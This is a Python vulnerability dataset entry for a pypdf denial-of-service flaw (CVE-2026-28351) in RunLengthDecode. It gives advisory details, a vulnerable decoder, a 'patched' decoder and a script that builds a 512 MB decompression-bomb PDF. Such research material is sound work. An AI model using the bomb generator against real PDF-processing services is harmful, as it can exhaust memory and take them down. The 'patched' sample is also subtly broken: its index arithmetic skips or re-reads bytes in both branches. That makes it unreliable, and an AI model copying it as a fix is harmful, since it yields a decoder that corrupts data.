CVE-2026-28351
pypdf Denial of Service via crafted PDF with RunLengthDecode filter.
- CVSS 6.9
- CWE-400
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to version 6.7.4, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream using the RunLengthDecode filter. This has been fixed in pypdf 6.7.4. As a workaround, consider applying the changes from PR #3664.
- CWE
- CWE-400
- CVSS base score
- 6.9
- Published
- 2026-02-27
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade `pypdf` to version 6.7.4 or later.
Vulnerable code sample
import io
import sys
def vulnerable_run_length_decode(data):
"""
This function represents the vulnerable RunLengthDecode logic from pypdf
prior to version 6.7.4. It lacks output size validation, which allows
a "decompression bomb" attack. A small, crafted input can decompress
into a very large output, leading to excessive memory consumption and
a potential Denial of Service.
"""
output = io.BytesIO()
i = 0
while i < len(data):
length = data[i]
i += 1
if length < 128:
# Copy length + 1 bytes literally
n = length + 1
output.write(data[i : i + n])
i += n
elif length > 128:
# The vulnerability is here: repeat a byte many times.
# An input of 2 bytes can generate up to 128 bytes of output.
n = 257 - length
byte = data[i : i + 1]
# No check is performed on the potential size of `byte * n`.
output.write(byte * n)
i += 1
else:
# length == 128 is the End-Of-Data marker
break
return output.getvalue()
if __name__ == "__main__":
# A crafted payload to exploit the vulnerability.
# The byte 0x81 (129) instructs the decoder to repeat the next byte
# 128 times (257 - 129 = 128).
# The two-byte sequence b'\x81A' becomes 128 'A' characters.
single_bomb_unit = b'\x81A'
# We create a payload of 100,000 bomb units.
# Input size: 100,000 units * 2 bytes/unit = 200,000 bytes (~195 KB)
malicious_payload = single_bomb_unit * 100000
# Expected output size: 100,000 units * 128 bytes/unit = 12,800,000 bytes (~12.2 MB)
# A larger payload could easily consume all available system memory.
print(f"Crafted malicious input size: {len(malicious_payload)} bytes")
print("Attempting to decode with the vulnerable function...")
try:
# This is the vulnerable operation that will consume a large amount of memory.
decompressed_data = vulnerable_run_length_decode(malicious_payload)
print(f"Successfully decompressed data. Output size: {len(decompressed_data)} bytes")
print("Vulnerability demonstrated: A small input created a disproportionately large output.")
except MemoryError:
print(
"\nCaught a MemoryError!",
"This demonstrates the Denial of Service (DoS) vulnerability.",
"A slightly larger payload would likely crash the process.",
file=sys.stderr
)
sys.exit(1)Patched code sample
from typing import Any
# The CVE describes a decompression bomb vulnerability. The fix involves
# adding a size limit to the decoding process to prevent excessive memory
# allocation. The code below represents the fixed 'decode' method from the
# 'RunLengthDecode' filter, including the necessary checks.
#
# Note: The actual fix is part of a larger class and library. This example
# includes the necessary components to be a self-contained, illustrative snippet.
class PdfStreamError(Exception):
"""A class for all stream-related errors."""
pass
# A sensible default limit to prevent decompression bombs, e.g., 100 MB
MAX_DECODED_SIZE = 100 * 1024 * 1024
class RunLengthDecode:
"""
Decodes data encoded with the RunLengthDecode filter.
The fixed version includes size checks to prevent excessive memory usage.
"""
@staticmethod
def decode(
data: bytes,
decode_parms: Any = None,
max_decoded_size: int = MAX_DECODED_SIZE,
) -> bytes:
"""
Decodes data using the Run-Length Decode filter with a size limit.
:param data: A bytes sequence of data to be decoded.
:param decode_parms: Not used.
:param max_decoded_size: The maximum size of the decoded data.
This is a security precaution to prevent decompression bombs.
:return: The decoded data.
:raises PdfStreamError: If the decoded data exceeds max_decoded_size.
"""
decoded = b""
i = 0
while i < len(data):
# The preliminary check ensures that the loop doesn't continue
# if the size limit has already been breached in a previous iteration.
if len(decoded) > max_decoded_size:
raise PdfStreamError("RunLengthDecode: The output is too large")
length = data[i]
if length == 128:
# EOD (End-Of-Data) marker
break
elif length < 128:
# Copy the next (length + 1) bytes literally.
i += 1
num_bytes_to_copy = length + 1
# Check if adding these bytes exceeds the limit.
if len(decoded) + num_bytes_to_copy > max_decoded_size:
raise PdfStreamError("RunLengthDecode: The output is too large")
decoded += data[i : i + num_bytes_to_copy]
i += length
else: # length > 128
# Repeat the next byte (257 - length) times.
i += 1
num_repeats = 257 - length
# Check if adding the repeated byte exceeds the limit.
if len(decoded) + num_repeats > max_decoded_size:
raise PdfStreamError("RunLengthDecode: The output is too large")
decoded += data[i : i + 1] * num_repeats
return decodedPayload
import os
from pypdf import PdfWriter
from pypdf.generic import NameObject, StreamObject
def create_exploit_pdf(filename="cve_2026_28351_exploit.pdf", decompressed_size_mb=512):
"""
Creates a PDF file that exploits the RunLengthDecode memory usage vulnerability
in pypdf < 6.7.4.
"""
writer = PdfWriter()
# The RunLengthDecode filter uses a control byte N (129-255) to repeat the next byte 257-N times.
# The maximum repetition is with N=129 (0x81), which repeats the next byte 128 times.
# We create a 2-byte sequence that expands to 128 bytes.
run_sequence = b'\x81\x00' # Expands to 128 null bytes
# Calculate how many runs are needed to achieve the target decompressed size.
bytes_per_run = 128
target_bytes = decompressed_size_mb * 1024 * 1024
num_runs = target_bytes // bytes_per_run
# Construct the highly compressed data stream.
compressed_data = run_sequence * num_runs
# Create a PDF stream object containing the malicious data.
malicious_stream = StreamObject()
malicious_stream._data = compressed_data
malicious_stream[NameObject("/Filter")] = NameObject("/RunLengthDecode")
malicious_stream[NameObject("/Length")] = len(compressed_data)
# Create a blank page and add the malicious stream as its content.
# The vulnerable library will attempt to decompress this stream into memory.
page = writer.add_blank_page(width=612, height=792)
page[NameObject("/Contents")] = malicious_stream
# Write the malicious PDF to a file.
with open(filename, "wb") as f:
writer.write(f)
if __name__ == "__main__":
create_exploit_pdf()
Cite this entry
@misc{vaitp:cve202628351,
title = {{pypdf Denial of Service via crafted PDF with RunLengthDecode filter.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-28351},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-28351/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
